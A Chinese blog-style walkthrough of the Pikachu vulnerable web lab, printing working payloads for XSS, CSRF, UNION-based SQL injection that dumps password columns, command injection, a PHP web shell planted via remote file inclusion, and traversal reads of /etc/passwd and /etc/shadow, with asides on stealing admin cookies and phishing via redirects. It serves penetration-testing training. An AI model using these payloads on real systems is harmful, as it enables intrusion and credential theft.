Pikachu 是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。

暴力破解

基于表单

burp 抓包使用 Clusterbomb 类型爆破

图片

验证码绕过(on server)

抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上

图片

验证码绕过(on client)

验证码是 js 前端校验 直接抓包 无视 js

图片

token绕过

攻击类型选择:音叉

图片

打开Intruder->Options设置如下参数

请求线程数选择:1

图片

图片

重定向选择:总是

图片

Payloads 里面选择 递归搜索

图片

图片

Cross-Site Scripting

反射性xss(get)

发现有 20 个字符限制,直接改为 100 即可

图片

题目是 get 看了下 url 发现提交的参数在 url 后面直接在 url 后面补全也行。

图片

反射性xss(post)

这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是 admin / 123456

登录后直接输入payload:<script>alert(1)</script>

图片

存储型xss

payload:<script>alert(1)</script>

存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据 所以会弹框 可以搭配一些 xss在线平台 找一些有存储型xss漏洞的网站钓管理员 cookies

DOM型xss

提交 payload 后出现一个 what do you see? 点击后 403

图片

f12 可以看到我们提交的数据变成了超链接

图片

看下 js 代码

<script>
  function domxss(){
  	var str = document.getElementById("text").value;
  	document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
  	}
</script>

直接闭合使用 onclick 弹出

图片

' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

DOM型xss-x

<script>
	function domxss(){
	var str = window.location.search;
	var txss = decodeURIComponent(str.split("text=")[1]);
	var xss = txss.replace(/\+/g,' ');
	document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
	}
</script>

这题加了个正则替换把 空格 替换成了 + 号,payload 同上

' onclick="alert(1)">
'><img src='' onerror=alert("1")> 

xss盲打

盲打就是在一切能插入的地方插入 xss 代码

看了下提示 需要登录后台,xss 插入成功

payload:<script>alert(1)</script>

图片

图片

xss过滤

输入 <script>alert(1)</script>

图片

输入 alert(1) 输入 123 返回 了别说这些'123'的话,不要怕,就是干!

图片

应该是过滤了 <script>*</scipt

大小写混写直接绕过

图片

试了下其他方法也绕过了 更加确信过滤了 <script>*</scipt

图片

<scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")> 

xss之htmlspecialchars

htmlspecialchars:将 特殊字符 转换为 HTML 实体

字符替换后
&(& 符号)&
“(双引号)“,除非设置了ENT_NOQUOTES**
‘(单引号)设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者’(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。
<(小于)<
>(大于)>

htmlspecialchars 默认不对 单引号 继续进行转换

图片

' onclick='alert(1)'>

xss之href输出

javascript: alert(1);
// 这段代码前端开发还是挺常用的 javascript:;

图片

xss之js输出

找到了这段 js 直接闭合

图片

'; alert(1);//

图片

CSRF

CSRF(get)

点击提示给了一些账号密码,随便登录一个(我登录的 vince )点击修改信息,看看请求信息。

图片

图片

我们发现是 get 请求 提交了些参数 构造一下发给其他人

csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit

方便区分 我用 无痕模式 登录 allen 用户

图片

然后访问我们构造的链接,可以看到信息变了

图片

现实中可以 用图片或者超链接来诱骗点击。

CSRF(post)

和上一关一样 只不过 get 变成了 post

sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

图片

我们构造一下

sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit

写个 html 自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉

<script>
setTimeout(function() {
         document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
<form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
    <p class="per_name">姓名:allen</p>
    <p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
    <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>    
    <p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p
    <p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p
    <input class="sub" type="submit" name="submit" id="submit" value="submit">
</form>

图片

CSRF Token

修改信息新加了 动态Token 有个骚操作 但是存在 跨域问题 所以做不出

图片

Sql Inject

数字型注入(post)

直接 burp 抓包用 重发器

图片

查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users 

字符型注入

查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #

搜索型注入

查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #

xx型注入

查字段:1') order by 2 #
查当前库名:1'union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1'union select 1,group_concat(password) from pikachu.users #

RCE

exec “ping”

命令拼接符

windows
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B

linux
|管道符,前面命令标准输出,后面命令的标准输入
&A & B 先运行命令A然后运行命令B
||A || B 运行命令A,如果失败则运行命令B
&&A && B 运行命令A,如果成功则运行命令B
;A;B 执行完A执行B
%0a换行符
%0d回车符

图片

可以直接用 cmd 新建用户之类的

exec “evel”

PHP命令执行函数

system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_popen()

图片

File Inclusion

File Inclusion(local)

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

isset 检测变量是否存在,然后同时 filename 不为空,GET 后直接包含进了 include。 直接修改 filename 参数即可

图片

File Inclusion(remote)

PHP的配置选项 allow_url_includeON 的话,则 include / require 函数可以 加载远程文件

这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制

txt写段代码,然后使用远程包含漏洞可以自动创建一句话php文件

<?php
  $shell = "<?php @eval(@\$_POST['cmd']); ?>";
  file_put_contents('./shell.php',$shell);
?>

请求之后发现页面没报错 同时目录下新建了个 shell.php,同时一句话也写入了

图片

图片

Unsafe Filedownload

Unsafe Filedownload

可以构造一下下载的文件通过 ../../ 控制目录,例如:

http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md

如果是 linux 的话还可以下载 /etc/passwd/etc/shadow

Unsafe Fileupload

之前做过upload-labshttps://5ime.cn/upload-labs.html

client check

上传了一个 php 文件 弹窗警告 感觉应该是 js前端校验

图片

禁用 js 会后上传成功

图片

MIME type

上传 php 出现提示文字

图片

直接 burp 抓包修改 content-Type 绕过

图片

getimagesize

这关直接参考我之前的文章

生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3

getimagesize 绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3

Over Permission

水平越权

A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。

图片

修改 username 的参数值 即可查看其他用户的信息

图片

垂直越权

A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。

我们浏览器登录 admin 用户 复制添加用户的 url 地址 使用无痕窗口登录普通用户 pikachu,访问刚才复制的添加用户的 url 地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面

图片

图片

此时我们用 admin 查看用户列表 发现刚才我们使用 pikachu 新建的用户增加成功了。

图片

../../

目录遍历

图片

如果是 linux 还可以遍历 /etc/shadow/etc/passwd

敏感信息泄露

IcanseeyourABC

直接在 注释 找到了 账号密码

图片

URL重定向

不安全的URL跳转

f12 看到 第三个 有个 参数 我们直接构造

http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

发现网页跳转到了百度

图片

这种漏洞用来钓鱼挺不错)

SSRF

SSRF(curl)

我们直接构造

http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q

图片

或者用 file协议

图片

或者 端口

图片

SSRF(file_get_content)

同上